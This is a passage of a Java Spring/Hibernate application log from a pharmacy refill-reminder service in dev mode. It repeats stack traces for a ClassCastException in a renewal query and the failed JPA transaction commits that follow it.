com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 